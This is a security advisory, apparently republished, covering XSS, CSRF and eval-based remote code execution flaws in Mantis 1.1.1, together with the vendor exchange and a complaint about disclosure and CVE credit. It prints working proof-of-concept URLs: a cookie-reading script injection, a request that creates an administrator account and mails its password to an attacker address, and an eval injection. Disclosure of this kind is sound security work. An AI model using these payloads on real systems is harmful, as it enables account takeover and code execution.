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Credit:
The information has been provided by ascii.
The original article can be found at: http://www.ush.it/team/ush/hack-mantis111/adv.txt
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Vulnerable Systems:
* Mantis version 1.1.1
Immune Systems:
* Mantis version 1.1.2 (with an appropriate patch)
* Mantis version 1.2.0a1
XSS Vulnerabilities
We have found an XSS vulnerability in return_dynamic_filters.php. In order to exploit this vulnerability the attacker must be authenticated. Usually the anonymous user is allowed on typical installation, so the impact is a bit higher. The following url is a proof of concept:
http://www.example.com/mantis/return_dynamic_filters.php?filter_target=
<script>alert(document.cookie);</script>
CSRF Vulnerabilities
There is a Cross Site Request Forgery vulnerability in the software. If a logged in user with administrator privileges clicks on the following url:
http://www.example.com/mantis/manage_user_create.php?username=foo&realn
ame=aa&password=aa&password_verify=aa&email=foo@attacker.com&access_lev
el=90&protected=0&enabled=1
a new user 'foo' with administrator privileges is created. The password of the new user is sent to foo@attacker.com.
Remote Code Execution Vulnerabilities
Finally we present the most critical vulnerability. A Remote Code Execution vulnerability exists in the software, but it can be exploited only if the attacker has a valid administrator account, so it could be ideal if used in conjunction with the previous one. The vulnerability is in the file adm_config_set.php. On row 80 we have the following statement:
eval( '$t_value = ' . $f_value . ';' );
where the $f_value is defined at row 34 of the same file:
$f_value = gpc_get_string( 'value' );
the parameter $f_value is never validated, so we can exploit this issue with the following url which executes the phpinfo() function:
http://www.example.com/mantis/adm_config_set.php?user_id=0&project_id=0
&config_option=cache_config&type=0&value=0;phpinfo()
Workaround:
Proper input validation will fix the vulnerabilities.
Upgrade to latest development version 1.2.0a1
Vendor response:
It was a little surprise to find out that somebody issued CVE-2008-2276 during our responsible disclosure time-line.
From an internal email with Glenn Henshaw:
# 8974 : XSS Vulnerability in filters - fixed for 1.1.2
# 8977 : Port 0008974: XSS Vulnerability in filters - fixed for 1.2.0 and future - this issue has been fixed by escaping the data in the error message.
# 8976 : Remote Code Execution in adm_config - workaround in place in 1.1.2 - this page is only accessible to registered administrators
# 8980 : Port: Remote Code Execution in adm_config - workaround in place in 1.2.0 and beyond - this page is only accessible to registered administrators
# 8975 : CSRF Vulnerabilities in user_create
# 8995 : Port: CSRF Vulnerabilities in user_create - this has been fixed by ensuring that action pages can only be accessed via POST commands.
So "CSRF Vulnerabilities in user_create" is our finding. The vendor fixed by allowing only POST parameters that is obviously a non-fix. Our response:
This alone isn't enough since forms can be auto-submitted by js that are irrespective of the same-orgin policy.
Proper remediation should include referer checking (has proved to be spoofable on the client side in the past so not a bulletproof technique) and token checking (a random string or an hash generated when the user requires the frontend, stored serverside - sessions are okay -, included in the frontend form and sent to and verified by the backend).
These two protections ensure that an action cannot, hopefully, be CSRFed (at last in absence of an xss vuln that neutralize the same origin policy again).
Glenn response:
Thanks for the notice. The CSRF patch for rev 1.1.2 is in place using just a "POST" check. I have added a more sophisticated token based check to rev 1.2.0 (the patch is attached for review). I should be submitting this shortly.
Glenn final update about the patch not being incorporated upstream:
As a final update on this subject, the status of these issues has not changed. The token based CSRF implementation was rejected by the development team, and will not be implemented (at least by me). The consensus was that it was too complex to resolve a "rare" problem.
Since responsible disclosure didn't worked well with this vendor and turned out to be very resource expensive we will publish future issues affecting this product directly to independent security researchers, developers and users.
The wrong attribution of CVE-2008-2276 before our official advisory strengthen our conviction that responsible disclosure isn't always fair.
We discussed long with Glenn Henshaw about issues and how to fix them in mantis and we didn't expect to find a CVE credited to one of our interlocutors. He was surely aware of who was deserving credits and should have taken proper steps to prevent or fix this.
Disclosure timeline:
20080121 Bug discovered
20080213 Vendor contacted -- LONG VENDOR SLOWNESS --
20080512 Last vendor mail about development and compatibility issues
20080515 CVE-2008-2276 wrongly credited to Glenn Henshaw (thraxisp)
20080520 Advisory released (forced disclosure)
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